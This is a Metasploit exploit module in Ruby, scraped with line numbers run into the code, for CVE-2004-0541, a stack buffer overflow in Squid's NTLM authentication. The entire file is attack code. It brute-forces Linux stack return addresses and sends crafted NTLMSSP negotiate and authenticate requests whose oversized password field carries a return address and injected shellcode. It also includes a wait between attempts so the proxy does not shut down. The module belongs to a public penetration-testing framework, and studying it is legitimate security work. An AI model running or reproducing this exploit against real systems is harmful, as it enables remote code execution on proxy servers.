Path: blob/master/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb
31895 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Brute9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Squid NTLM Authenticate Overflow',16'Description' => %q{17This is an exploit for Squid\'s NTLM authenticate overflow18(libntlmssp.c). Due to improper bounds checking in19ntlm_check_auth, it is possible to overflow the 'pass'20variable on the stack with user controlled data of a user21defined length. Props to iDEFENSE for the advisory.22},23'Author' => 'skape',24'References' => [25[ 'CVE', '2004-0541'],26[ 'OSVDB', '6791'],27[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],28[ 'BID', '10500'],29],30'Privileged' => false,31'Payload' => {32'Space' => 256,33'MinNops' => 16,34'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",35'PrependEncoder' => "\x83\xec\x7f"3637},38'Targets' => [39[40'Linux Bruteforce',41{42'Platform' => 'linux',43'Bruteforce' =>44{45'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },46'Stop' => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },47'Step' => 048}49},50],51],52'DisclosureDate' => '2004-06-08',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_advanced_options(63[64# We must wait 15 seconds between each attempt so as to prevent65# squid from exiting completely after 5 crashes.66OptInt.new('BruteWait', [ false, 'Delay between brute force attempts', 15 ]),67]68)69end7071def brute_exploit(addresses)72site = 'http://' + rand_text_alpha(rand(128)) + '.com'7374print_status("Trying 0x#{'%.8x' % addresses['Ret']}...")75connect7677trasnmit_negotiate(site)78transmit_authenticate(site, addresses)7980handler81disconnect82end8384def trasnmit_negotiate(site)85negotiate =86"NTLMSSP\x00" + # NTLMSSP identifier87"\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE88"\x07\x00\xb2\x07" + # flags89"\x01\x00\x09\x00" + # workgroup len/max (1)90"\x01\x00\x00\x00" + # workgroup offset (1)91"\x01\x00\x03\x00" + # workstation len/max (1)92"\x01\x00\x00\x00" # workstation offset (1)9394print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")95req =96"GET #{site} HTTP/1.1\r\n" +97"Proxy-Connection: Keep-Alive\r\n" +98"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +99"\r\n"100sock.put(req)101end102103def transmit_authenticate(site, addresses)104overflow =105rand_text_alphanumeric(0x20) +106[addresses['Ret']].pack('V') +107[addresses['Valid']].pack('V') +108"\xff\x00\x00\x00"109shellcode = payload.encoded110pass_len = [overflow.length + shellcode.length].pack('v')111authenticate =112"NTLMSSP\x00" + # NTLMSSP identifier113"\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE114pass_len + pass_len + # lanman response len/max115"\x38\x00\x00\x00" + # lanman response offset (56)116"\x01\x00\x01\x00" + # nt response len/max (1)117"\x01\x00\x00\x00" + # nt response offset (1)118"\x01\x00\x01\x00" + # domain name len/max (1)119"\x01\x00\x00\x00" + # domain name offset (1)120"\x01\x00\x01\x00" + # user name (1)121"\x01\x00\x00\x00" + # user name offset (1)122"\x00\x00\x00\x00" + # session key123"\x8b\x00\x00\x00" + # session key124"\x06\x82\x00\x02" + # flags125overflow + shellcode126127print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")128req =129"GET #{site} HTTP/1.1\r\n" +130"Proxy-Connection: Keep-Alive\r\n" +131"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +132"\r\n"133sock.put(req)134end135end136137138